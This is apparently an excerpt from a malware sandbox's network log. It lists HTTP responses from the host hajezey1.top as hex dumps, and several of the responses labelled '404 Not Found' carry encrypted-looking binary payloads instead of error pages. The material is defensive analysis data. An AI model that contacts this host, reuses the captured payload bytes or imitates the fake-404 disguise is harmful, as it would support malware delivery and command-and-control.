72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
